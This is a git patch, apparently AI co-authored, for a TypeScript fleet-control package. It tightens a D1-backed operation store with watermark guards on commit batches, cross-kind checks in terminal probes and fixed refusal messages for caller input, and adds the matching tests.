<21151592+gcharang@users.noreply.github.com> Date: Fri, 4 Sep 2026 03:52:25 +0400 Subject: [PATCH 068/169] fix(fleet-control): close the R4-A/B.1 QA claims in the operation store Applies the confirmed findings of the independent QA pass over the durable operation store and its coordinator, plus three items the review ledgers had deferred: the pin-owner grammar, the caller-input refusal identity, and the third other-kind literal. Ten paths, +699/-102. A commitProgress refused on a row watermark now persists no row. Every row statement of the batch binds, per claimed watermark, the pre-state dense-prefix count over an aliased scan of the rows table: where the batch inserts B rows of that kind below the watermark w, exactly w - B rows of that kind must already sit below w - B, while the run update keeps the post-state count. The batch's inserts below a watermark all sit at or above that prefix, so no statement can move a count another statement reads, and on that conjunct the batch passes or refuses whole; the lease conjunct is still re-evaluated per statement. A batch whose inserts below a watermark are not the contiguous run ending at it is refused before any SQL with a fixed message. ON CONFLICT DO NOTHING and the convergence read are unchanged. The terminal probes check the persisted operation's kind before its state and revision and refuse the other kind with the shared message, so a finalize or fail under one kind can no longer return another kind's terminal record as its own success; failOperation's readback gains an explicit absent branch. failOperation accepts at most one updateRow, the only n at which the item update and the run update are atomic. Caller input at the package's public surface is refused with a fixed message that names the input: the operation id on the start path, the kind handed to withAccountOperationLease and pruneFleetOperations, and readOperationRowsPage's rowKind and afterOrdinal. At that surface FleetOperationStateError no longer reports caller input; a persisted row that fails its codec, and malformed operation state a coordinator composes inside its lease, still raise it. fleetAuditPinOwner in the audit state module replaces the coordinator's local pinnedBy helper and the store's inline pin-owner literal; the start probe emits the other-kind refusal through fleetOperationOtherKindMessage, whose JSDoc now names every emitter. A comment records that the leased readOperation delegates to the head-independent reader deliberately. The lease port documents the two new writer obligations: at most one updateRow, and the contiguous run below a claimed watermark. Tests: the store suite gains the watermark-refusal title in five legs -- the refused claim, the same-kind prefix, a regression guard, the contiguity refusal before any statement, and the row-update conjunct -- the cross-kind terminal-probe title, and the unknown-kind title, drops the three-row failOperation title, re-cuts the stale-revision title to reach the SQL guard, the eighteen-row failOperation title to the one-row message, and the finalize-count title with a finding-only leg, re-derives the two per-statement binding fixtures, and pins readOperationRowsPage's rowKind and afterOrdinal refusals; the advance suite's fake store now enforces every claimed watermark and the contiguous-run precondition before it mutates, so the coordinator's four commits run against an implementation that carries both port obligations, and the suite gains a title pinning that the per-record stage visits every staged record once in staged ordinal order, including a record that emits no finding; the real-D1 harness gains a probe that runs the dense-prefix conjunct against D1 with a refused claim and an accepted non-degenerate prefix; the state suite re-cuts the token byte-bound leg, which no black-box input can discriminate, and re-pins the operation-id refusal. The changeset records the contract changes. Verification on the checkpoint tree: fleet-control typecheck (both tsconfigs) clean; Biome over the nine source and test files clean; the six-file vitest run (operation state, operation store, the Wrangler D1 harness, audit advance, audit golden, fleet) 249/249; the audit baseline check, architecture:check (31 checks) and docs:check (55 files) clean; no diff outside the ten paths and none in src/index.ts. Three review rounds over four independent lanes (plan conformance, independent QA with mutation proofs, clean code, architecture with the security second opinion): eleven substantive findings closed in the first fix cycle, three in the second, round 3 clean or nit-only on every lane. The remaining nits are recorded in the ignored NITS.md. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .changeset/bounded-fleet-audit.md | 2 + .../src/d1-fleet-operation-store.ts | 124 ++++-- .../fleet-control/src/fleet-audit-advance.ts | 13 +- .../fleet-control/src/fleet-audit-state.ts | 9 + .../src/fleet-operation-state.ts | 29 +- .../fixtures/fleet-state-harness-probe.ts | 67 +++ .../test/fleet-audit-advance.test.ts | 122 +++++- .../test/fleet-operation-state.test.ts | 17 +- .../test/fleet-operation-store.test.ts | 396 +++++++++++++++--- .../test/state-store.harness.test.ts | 22 + 10 files changed, 699 insertions(+), 102 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index 46144f36..0e07201f 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -12,4 +12,6 @@ Add a bounded, resumable fleet drift audit API with a durable, provider-neutral - Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. - Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. +Caller input at the operation store's public surface is now refused with a fixed message that names the input rather than with the durable-corruption identity. A `start` whose operation id is not a lowercase UUIDv4 refuses with `operationId must be a lowercase UUIDv4` instead of throwing `FleetOperationStateError`; `D1FleetOperationStore.readOperationRowsPage` refuses a `rowKind` outside the row-kind vocabulary or an `afterOrdinal` that is not a non-negative safe integer below `Number.MAX_SAFE_INTEGER`; and `withAccountOperationLease` and `pruneFleetOperations` refuse a kind outside the operation-kind vocabulary. At the package's public surface `FleetOperationStateError` no longer reports caller input; a persisted row that fails its codec, and malformed operation state a coordinator composes inside its lease, still raise it. Three store guarantees tighten alongside it. `failOperation` accepts at most one `updateRow`, refusing more with `failOperation accepts at most one updateRow`, which is the count its atomicity guarantee actually holds for. `finalizeOperation` and `failOperation` now refuse an operation id that belongs to the other operation kind at their terminal probe, where they previously could read that operation's record back as their own success. And a `commitProgress` refused on a row watermark now persists no row: every row statement of its batch carries a watermark precondition that nothing in the batch can change, so no row statement of a watermark-refused batch can land, and a batch whose own inserted ordinals below a claimed watermark are not the contiguous run ending at it is refused before any statement runs. + The new `readFleetAuditFindingsPage()` resolves to a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 1fc804c3..941d79b0 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -5,6 +5,7 @@ import { driftFindingRowFromUnknown, fleetAuditFactRowFromUnknown, fleetAuditOperationRecordFromUnknown, + fleetAuditPinOwner, } from './fleet-audit-state.js'; import type { FleetInventoryRunStore } from './fleet-inventory-state.js'; import { fleetMigrationItemFromUnknown } from './fleet-migration-state.js'; @@ -21,6 +22,7 @@ import { FleetOperationStateError, type FleetOperationStore, FleetOperationStoreCapabilityError, + fleetOperationOtherKindMessage, fleetOperationRunRecordFromUnknown, fleetOperationSafeInteger, fleetOperationSha256, @@ -55,6 +57,11 @@ const OPERATION_GUARD_SQL = `FROM ${OPERATION_TABLE} r const ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal < ?`; +// The row statements of a commitProgress batch mutate this same table, so the +// inner scan is aliased: the outer statement's columns cannot capture it. +const ALIASED_ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} w0 + WHERE w0.account_id = ? AND w0.operation_id = ? + AND w0.row_kind = ? AND w0.ordinal < ?`; type Row = Readonly>; @@ -189,6 +196,46 @@ function serializedPayload(row: FleetOperationStagedRow): string { : JSON.stringify(row.payload); } +/** + * The watermark bindings of one `commitProgress` batch. Every row statement + * binds the PRE-state dense prefix `COUNT(kind k, ordinal < w - Bk) = w - Bk`, + * where `Bk` counts the batch's own kind-k inserts below the watermark `w`; + * those inserts all sit at ordinals at or above `w - Bk`, so no statement in + * the batch can move a count another statement reads, and on this conjunct + * the batch passes or refuses whole. The lease conjunct is still re-evaluated + * per statement, so this is not batch-level atomicity. The run update binds + * the post-state `COUNT(< w) = w`, which then holds exactly when every + * ordinal in `[w - Bk, w)` landed or already existed. The contiguous-run + * precondition is what makes the prefix invariant, so a caller that breaks it + * is refused here, before any SQL, rather than given a weaker guard. + */ +function commitWatermarkBindings( + watermarks: readonly [FleetOperationRowKind, number][], + insertRows: readonly FleetOperationStagedRow[], + accountId: string, + operationId: string, +): Readonly<{ + rowStatement: readonly unknown[]; + runUpdate: readonly unknown[]; +}> { + const rowStatement: unknown[] = []; + const runUpdate: unknown[] = []; + for (const [rowKind, watermark] of watermarks) { + const below = insertRows.filter( + (row) => row.rowKind === rowKind && row.ordinal < watermark, + ); + const prefix = watermark - below.length; + if (below.some((row) => row.ordinal < prefix)) { + throw new Error( + `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, + ); + } + rowStatement.push(accountId, operationId, rowKind, prefix, prefix); + runUpdate.push(accountId, operationId, rowKind, watermark, watermark); + } + return { rowStatement, runUpdate }; +} + /** Provider-neutral D1 operation store over the fleet state database port. */ export class D1FleetOperationStore implements FleetOperationStore { readonly #db: FleetStateDatabase; @@ -307,7 +354,11 @@ export class D1FleetOperationStore implements FleetOperationStore { kind: FleetOperationKind, operation: (lease: FleetOperationLease, token: string) => Promise, ): Promise { - assertKind(kind); + if (!FLEET_OPERATION_KINDS.includes(kind)) { + throw new Error( + `kind must be one of ${FLEET_OPERATION_KINDS.join(', ')}`, + ); + } await this.#ensureSchema(); const token = randomUUID(); const claimed = await this.#db.query( @@ -357,6 +408,11 @@ export class D1FleetOperationStore implements FleetOperationStore { const lease: FleetOperationLease = { assertOwned, startOperation: (value) => this.#startOperation(kind, token, value), + // Deliberate delegation: the leased reader is the head-independent, + // kind-blind one, so it reaches a terminal row after head release and a + // row of the other kind. A coordinator's own `readOperationById` call on + // its continue path is defence in depth, not the only route to such a + // row. readOperation: (operationId) => this.readOperationById(operationId), stageRows: (value) => this.#stageRows(kind, token, value), commitProgress: (value) => this.#commitProgress(kind, token, value), @@ -526,9 +582,7 @@ export class D1FleetOperationStore implements FleetOperationStore { ); } if (rowString(persisted, 'operation_kind') !== kind) { - throw new Error( - `fleet operation '${operationId}' belongs to the other operation kind`, - ); + throw new Error(fleetOperationOtherKindMessage(operationId)); } if (rowString(persisted, 'intake_digest') !== intakeDigest) { throw new Error( @@ -687,6 +741,12 @@ export class D1FleetOperationStore implements FleetOperationStore { throw new FleetOperationStateError(); } } + const watermarkBindings = commitWatermarkBindings( + watermarks, + rows, + this.#accountId, + operationId, + ); const payloads = [...rows, ...updateRows].map((row) => ({ row, bytes: serializedPayload(row), @@ -704,9 +764,14 @@ export class D1FleetOperationStore implements FleetOperationStore { const watermarkSql = watermarks .map(() => `AND (SELECT COUNT(*) ${ROWS_BELOW_ORDINAL_SQL}) = ?`) .join('\n'); + const rowWatermarkSql = watermarks + .map(() => `AND (SELECT COUNT(*) ${ALIASED_ROWS_BELOW_ORDINAL_SQL}) = ?`) + .join('\n'); // Every row mutation carries the SAME lease, kind, state, and PRE-update // revision guard as the operation update, so stale or losing writers land - // no bytes that a later legitimate commit cannot replace. + // no bytes that a later legitimate commit cannot replace, and the + // dense-prefix count of every claimed watermark, so a watermark this + // transition cannot satisfy refuses every statement and persists nothing. const result = await this.#db.batch([ ...insertPayloads.map(({ row, bytes }) => ({ sql: `INSERT INTO ${ROW_TABLE} ( @@ -714,6 +779,7 @@ export class D1FleetOperationStore implements FleetOperationStore { ) SELECT ?, ?, ?, ?, ? ${OPERATION_GUARD_SQL} + ${rowWatermarkSql} ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING RETURNING row_kind, ordinal`, bindings: [ @@ -723,6 +789,7 @@ export class D1FleetOperationStore implements FleetOperationStore { row.ordinal, bytes, ...guardBindings, + ...watermarkBindings.rowStatement, ], })), ...updatePayloads.map(({ row, bytes }) => ({ @@ -731,6 +798,7 @@ export class D1FleetOperationStore implements FleetOperationStore { WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL}) + ${rowWatermarkSql} RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -739,6 +807,7 @@ export class D1FleetOperationStore implements FleetOperationStore { row.rowKind, row.ordinal, ...guardBindings, + ...watermarkBindings.rowStatement, ], })), { @@ -758,13 +827,7 @@ export class D1FleetOperationStore implements FleetOperationStore { kind, expectedRevision, ...this.#leaseBindings(kind, token), - ...watermarks.flatMap(([rowKind, watermark]) => [ - this.#accountId, - operationId, - rowKind, - watermark, - watermark, - ]), + ...watermarkBindings.runUpdate, ], }, ]); @@ -921,6 +984,9 @@ export class D1FleetOperationStore implements FleetOperationStore { // the operation row and head are the only authority. const persisted = await this.readOperationById(operationId); if (!persisted) throw unknownOperation(operationId); + if (persisted.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } if ( persisted.state !== 'finalized' || persisted.progress.revision !== runRecord.progress.revision @@ -968,11 +1034,11 @@ export class D1FleetOperationStore implements FleetOperationStore { ): Promise { const { operationId, expectedRevision } = input; const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); - // The run update binds 8 + 5n parameters; D1 caps a statement at 100. - if ((input.updateRows?.length ?? 0) > 18) { - throw new Error( - 'failOperation exceeds the operation update budget of 18 rows', - ); + // The sanctioned caller fails exactly the active item, and at n = 1 the + // item update and the run update are atomic by construction: the run + // update's byte-exact EXISTS conjunct is true only if that one row landed. + if ((input.updateRows?.length ?? 0) > 1) { + throw new Error('failOperation accepts at most one updateRow'); } const updateRows = (input.updateRows ?? []).map((row) => stagedRowForKindFromUnknown(kind, row), @@ -1080,8 +1146,12 @@ export class D1FleetOperationStore implements FleetOperationStore { }, ]); const persisted = await this.readOperationById(operationId); + if (!persisted) throw unknownOperation(operationId); + if (persisted.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } if ( - persisted?.state !== 'failed' || + persisted.state !== 'failed' || persisted.progress.revision !== runRecord.progress.revision ) { throw operationConflict(operationId); @@ -1111,13 +1181,19 @@ export class D1FleetOperationStore implements FleetOperationStore { > { assertLimit(input.limit); await this.#ensureSchema(); + if (!FLEET_OPERATION_ROW_KINDS.includes(input.rowKind)) { + throw new Error( + `rowKind must be one of ${FLEET_OPERATION_ROW_KINDS.join(', ')}`, + ); + } if ( - !FLEET_OPERATION_ROW_KINDS.includes(input.rowKind) || - (input.afterOrdinal !== undefined && - (!fleetOperationSafeInteger(input.afterOrdinal) || - input.afterOrdinal >= Number.MAX_SAFE_INTEGER)) + input.afterOrdinal !== undefined && + (!fleetOperationSafeInteger(input.afterOrdinal) || + input.afterOrdinal >= Number.MAX_SAFE_INTEGER) ) { - throw new FleetOperationStateError(); + throw new Error( + 'afterOrdinal must be a non-negative safe integer below Number.MAX_SAFE_INTEGER', + ); } const operation = await this.#operationRow(input.operationId); if (!operation) throw unknownOperation(input.operationId); @@ -1200,7 +1276,7 @@ export class D1FleetOperationStore implements FleetOperationStore { // inner, and is never acquired in reverse by production callers. await inventoryStore.releasePin({ generation: record.progress.generation, - pinnedBy: `fleet-audit:${operationId}`, + pinnedBy: fleetAuditPinOwner(operationId), }); releasedPins += 1; } diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index c30dd97f..5aaf31db 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -40,6 +40,7 @@ import { type FleetAuditProgress, type FleetAuditStage, fleetAuditFactRowFromUnknown, + fleetAuditPinOwner, fleetAuditProgressFromUnknown, fleetAuditStageOrdinal, nextAuditStage, @@ -273,10 +274,6 @@ function resultFromRun(run: FleetOperationRunRecord): FleetAuditAdvanceResult { return { status: 'pending', token, stage: progress.stage }; } -function pinnedBy(operationId: string): string { - return `fleet-audit:${operationId}`; -} - /** * The `pending` result for a run record the store has just committed. Every * chunk that leaves the operation RUNNING reports the persisted stage read @@ -609,7 +606,7 @@ async function failAudit( }); await options.inventoryStore.releasePin({ generation: progress.generation, - pinnedBy: pinnedBy(run.operationId), + pinnedBy: fleetAuditPinOwner(run.operationId), }); return resultFromRun({ ...run, @@ -1106,7 +1103,7 @@ async function startAudit( try { await options.inventoryStore.pinGeneration({ generation: pinGenerationValue, - pinnedBy: pinnedBy(operationId), + pinnedBy: fleetAuditPinOwner(operationId), }); } catch { return failAudit(options, lease, record, recordProgress, { @@ -1371,7 +1368,7 @@ export async function abandonFleetAuditOperation( }); await inventoryStore.releasePin({ generation: progress.generation, - pinnedBy: pinnedBy(operationId), + pinnedBy: fleetAuditPinOwner(operationId), }); return; } @@ -1386,7 +1383,7 @@ export async function abandonFleetAuditOperation( const progress = fleetAuditProgressFromUnknown(persisted.progress); await inventoryStore.releasePin({ generation: progress.generation, - pinnedBy: pinnedBy(operationId), + pinnedBy: fleetAuditPinOwner(operationId), }); }); } diff --git a/packages/fleet-control/src/fleet-audit-state.ts b/packages/fleet-control/src/fleet-audit-state.ts index 1157fc2a..9861a61b 100644 --- a/packages/fleet-control/src/fleet-audit-state.ts +++ b/packages/fleet-control/src/fleet-audit-state.ts @@ -377,3 +377,12 @@ export function fleetAuditFactRowFromUnknown( export function withheldAuditDetail(kind: FleetAuditFindingKind): string { return `finding detail withheld: unsafe bytes (kind '${kind}')`; } + +/** + * The pin-owner string an audit operation records on the inventory generation + * it pins; the coordinator and the store's prune path must agree on it byte + * for byte. + */ +export function fleetAuditPinOwner(operationId: string): string { + return `fleet-audit:${operationId}`; +} diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index 60c1dbe3..836a964b 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -181,10 +181,10 @@ export class FleetOperationStoreCapabilityError extends Error { } /** - * The fixed refusal message the audit coordinator raises when a persisted - * operation carries the other operation kind. It lives here so that - * coordinator's sites and R4-C.2's migration coordinator emit byte-identical - * text; `D1FleetOperationStore` still carries its own copy of the literal. + * The fixed refusal message raised when a persisted operation carries the + * other operation kind. It lives here so that the audit coordinator's sites, + * `D1FleetOperationStore`'s start probe and its two terminal probes, and + * R4-C.2's migration coordinator all emit byte-identical text. */ export function fleetOperationOtherKindMessage(operationId: string): string { return `fleet operation '${operationId}' belongs to the other operation kind`; @@ -319,8 +319,14 @@ export interface FleetOperationLease { * check rather than a total count — so a partially applied batch is refused * while a retry that already staged rows at higher ordinals still commits; * a later call's higher watermark, or `finalizeOperation`'s totals, close - * those surplus ordinals out. Returns the persisted record, which is the - * only authoritative post-commit state. + * those surplus ordinals out. + * + * WRITER OBLIGATION: the `rows` this call inserts below a claimed watermark + * must be exactly the contiguous run ending at it; a batch that breaks it is + * refused before any statement runs. + * + * Returns the persisted record, which is the only authoritative post-commit + * state. */ commitProgress( input: Readonly<{ @@ -356,8 +362,13 @@ export interface FleetOperationLease { ): Promise; /** * The same CAS, moving the operation to FAILED. Staged rows are kept so a - * failed operation stays readable; `updateRows` replaces individual `item` - * row payloads in the same transaction. + * failed operation stays readable; `updateRows` replaces one `item` row's + * payload in the same transaction. + * + * WRITER OBLIGATION: at most one `updateRow`, the item the failure names. + * `D1FleetOperationStore` refuses more with `failOperation accepts at most + * one updateRow`: the run update's byte-exact `EXISTS` conjunct makes the + * item update and the run update stand or fall together only at n = 1. */ failOperation( input: Readonly<{ @@ -663,7 +674,7 @@ export function parseFleetOperationToken(value: unknown): FleetOperationToken { /** Validates caller-chosen operation identity before any store mutation. */ export function assertFleetOperationId(value: unknown): void { if (typeof value !== 'string' || !UUID_V4.test(value)) { - throw new FleetOperationStateError(); + throw new Error('operationId must be a lowercase UUIDv4'); } } diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 36712726..69e617b8 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -3335,6 +3335,71 @@ async function operationCommitConcurrency(db: D1Database): Promise { }); } +// The dense-prefix conjunct is aliased SQL that only `commitProgress` +// emits, and it is the single guard that keeps a watermark-refused batch from +// landing rows. Both of its paths run here so the real D1 planner, not only +// `node:sqlite`, has executed the alias. +async function operationCommitWatermark(db: D1Database): Promise { + const target = await readyOperationStore(db); + const id = operationId(5); + const findingOrdinals = async (): Promise => { + const rows = await db + .prepare( + `SELECT ordinal FROM anchorage_fleet_operation_rows + WHERE account_id = ? AND operation_id = ? AND row_kind = 'finding' + ORDER BY ordinal`, + ) + .bind(OPERATION_ACCOUNT, id) + .all<{ ordinal: number }>(); + return rows.results.map((row) => Number(row.ordinal)); + }; + return target.withAccountOperationLease('audit', async (lease) => { + const created = await operationStart(lease, 'audit', id); + // One insert at ordinal 1 under a watermark of 2 satisfies the + // contiguous-run precondition, so the refusal comes from the conjunct + // itself: the insert binds COUNT(< 1) = 1 against an empty table. + let refused: unknown; + try { + await lease.commitProgress({ + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + rows: [operationFinding(1)], + expectedRowWatermarks: { finding: 2 }, + }); + } catch (error) { + refused = errorShape(error); + } + if (refused === undefined) { + throw new Error('unsatisfiable watermark unexpectedly committed'); + } + const afterRefusal = await lease.readOperation(id); + const refusedOrdinals = await findingOrdinals(); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationFinding(0), operationFinding(1)], + }); + // Rows at [2, 3) under watermark 3, the coordinator's own convention: the + // insert binds the PRE-state prefix COUNT(< 2) = 2 and the run update the + // post-state COUNT(< 3) = 3. + const accepted = await lease.commitProgress({ + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + rows: [operationFinding(2)], + expectedRowWatermarks: { finding: 3 }, + }); + return { + refused, + revisionAfterRefusal: afterRefusal?.progress.revision, + findingsAfterRefusal: refusedOrdinals.length, + acceptedRevision: accepted.progress.revision, + rowOrdinals: await findingOrdinals(), + }; + }); +} + async function operationFinalizeConvergence(db: D1Database): Promise { await readyOperationStore(db); const database = hideResultsDatabase(new D1FleetStateDatabase(db)); @@ -3751,6 +3816,8 @@ export default { return Response.json(await operationStartAtomicity(env.DB)); case 'operation-commit-concurrency': return Response.json(await operationCommitConcurrency(env.DB)); + case 'operation-commit-watermark': + return Response.json(await operationCommitWatermark(env.DB)); case 'operation-finalize-convergence': return Response.json(await operationFinalizeConvergence(env.DB)); case 'operation-rows-readback': diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 2a306645..fd33c43f 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -988,6 +988,48 @@ class FakeOperationStore implements FleetOperationStore { current.state === 'running' && current.progress.revision === expectedRevision; if (matches) { + // D1 binds every claimed watermark into the same guarded batch, so a + // claim the post-insert row set cannot satisfy refuses the whole commit + // before anything persists. Evaluated BEFORE the mutations below, and on + // the matching branch as well as the convergence one: otherwise the + // coordinator's watermark claims run against no enforcing implementation + // on the path its titles actually take. Both obligations the port states + // are checked here before this branch mutates anything: the watermark + // count over the persisted ordinals plus this batch's own, and the + // contiguous-run precondition on the batch's inserts below the + // watermark, which `commitWatermarkBindings` refuses before any SQL. + for (const [rowKind, watermark] of Object.entries( + expectedRowWatermarks, + )) { + const below = rows.filter( + (row) => + row.rowKind === rowKind && row.ordinal < (watermark as number), + ); + const prefix = (watermark as number) - below.length; + if (below.some((row) => row.ordinal < prefix)) { + throw new Error( + `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, + ); + } + const key = this.#rowsKey( + operationId, + rowKind as FleetOperationRowKind, + ); + const ordinals = new Set( + (this.rows.get(key) ?? []).map((existing) => existing.ordinal), + ); + for (const row of rows) { + if (row.rowKind === rowKind) ordinals.add(row.ordinal); + } + const count = [...ordinals].filter( + (ordinal) => ordinal < (watermark as number), + ).length; + if (count !== watermark) { + throw new Error( + `fleet operation '${operationId}' is no longer at the expected revision`, + ); + } + } for (const row of rows) { const key = this.#rowsKey(operationId, row.rowKind); const list = this.rows.get(key) ?? []; @@ -2084,7 +2126,7 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ), - ).rejects.toThrow('fleet operation state is malformed'); + ).rejects.toThrow('operationId must be a lowercase UUIDv4'); }); it('the per-record chunk performs exactly one inspect + at most one re-arm (instrumented)', async () => { @@ -4877,4 +4919,82 @@ describe('advanceFleetAudit', () => { expect(afterRefusal?.state).toBe('running'); } }); + + it('the per-record stage visits every staged record exactly once, in staged ordinal order, including a record that emits no finding', async () => { + const bob = baseRecord('bob'); + const carol = baseRecord('carol'); + const alice = baseRecord('alice'); + const records = [bob, carol, alice]; + const harness = buildHarness(records, inventoryFor(records)); + // `carol` is the finding-free record: the same clean fixture as the + // other two, differing only in maintenance duties fresh against the + // harness's UNFROZEN audit clock, which is what leaves the other two + // stale. Staged in the MIDDLE, so a stage that visited only the + // emitting records would break the order read back below. + const liveNow = Date.now(); + harness.liveByTenant.set( + carol.tenantTag, + cleanLiveDeployment(carol, { + maintenance: { + ...HEALTHY_MAINTENANCE, + nextAlarmAt: liveNow + 60_000, + lastSweepAt: liveNow, + lastPurgeAt: liveNow, + }, + }), + ); + const operationId = uuidFor(94); + const visited: string[] = []; + // `driveToTerminal` and `startAndDrive` call `baseOptions` themselves on + // every iteration, so the instrumentation has to sit on the harness rather + // than on one options object. + const instrumented: Harness = { + ...harness, + baseOptions: (action) => { + const options = harness.baseOptions(action); + return { + ...options, + specFor: (record) => { + visited.push(record.tenantTag); + return options.specFor(record); + }, + }; + }, + }; + + const result = await startAndDrive(instrumented, operationId, records); + expect(result.status).toBe('complete'); + const stagedTags = ( + harness.operationStore.rows.get(`${operationId}:record`) ?? [] + ) + .slice() + .sort((left, right) => left.ordinal - right.ordinal) + .map((row) => row.payload.tenantTag); + expect(stagedTags).toEqual(['bob', 'carol', 'alice']); + expect(visited).toEqual(stagedTags); + for (const tag of stagedTags) { + expect(visited.filter((seen) => seen === tag)).toHaveLength(1); + } + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }); + expect(page.done).toBe(true); + // The added conjunct, asserted first so it is the one that names the + // record when it breaks: the middle record the stage visited emitted + // nothing. + expect( + page.findings.filter((finding) => finding.tenantTag === carol.tenantTag), + ).toEqual([]); + // `bob` and `alice` still emit one `maintenance-stale` finding each + // under this harness's unfrozen maintenance clock, so the page carries + // exactly one finding for each of them, in the order the stage visited + // them. + expect( + page.findings.map((finding) => [finding.tenantTag, finding.kind]), + ).toEqual([ + ['bob', 'maintenance-stale'], + ['alice', 'maintenance-stale'], + ]); + }); }); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index 9bd26af3..13736cea 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -274,12 +274,25 @@ describe('fleet operation state', () => { }); it('record/token byte bounds fail closed', () => { + // The token bound cannot be discriminated by any black-box input: a token + // that passes the exact-key, version, UUIDv4 and safe-integer checks is + // about ninety bytes, so every oversized input trips one of those checks + // and raises the same error whether the bound is present or not. + expect(() => + parseFleetOperationToken({ + version: 1, + operationId: + OPERATION_ID + 'x'.repeat(FLEET_OPERATION_TOKEN_BYTE_BOUND), + revision: 0, + }), + ).toThrow(FleetOperationTokenError); + // A tiny forbidden value, so the exact-key check is what refuses it. expect(() => parseFleetOperationToken({ version: 1, operationId: OPERATION_ID, revision: 0, - padding: 'x'.repeat(FLEET_OPERATION_TOKEN_BYTE_BOUND), + padding: 'x', }), ).toThrow(FleetOperationTokenError); const padding = Object.fromEntries( @@ -477,7 +490,7 @@ describe('fleet operation state', () => { OPERATION_ID.replace('-4', '-3'), ]) { expect(() => assertFleetOperationId(value)).toThrow( - FleetOperationStateError, + 'operationId must be a lowercase UUIDv4', ); } }); diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts index 3ada49ea..696e5f62 100644 --- a/packages/fleet-control/test/fleet-operation-store.test.ts +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -14,6 +14,7 @@ import { classifyFleetOperationToken, type FleetOperationKind, type FleetOperationLease, + type FleetOperationRowKind, type FleetOperationRunRecord, type FleetOperationStagedRow, FleetOperationStoreCapabilityError, @@ -201,6 +202,14 @@ function findingRow(ordinal = 0): FleetOperationStagedRow { }; } +function payloadFindingRow( + ordinal: number, + detail: string, +): FleetOperationStagedRow { + const row = findingRow(ordinal); + return { ...row, payload: { ...row.payload, detail } }; 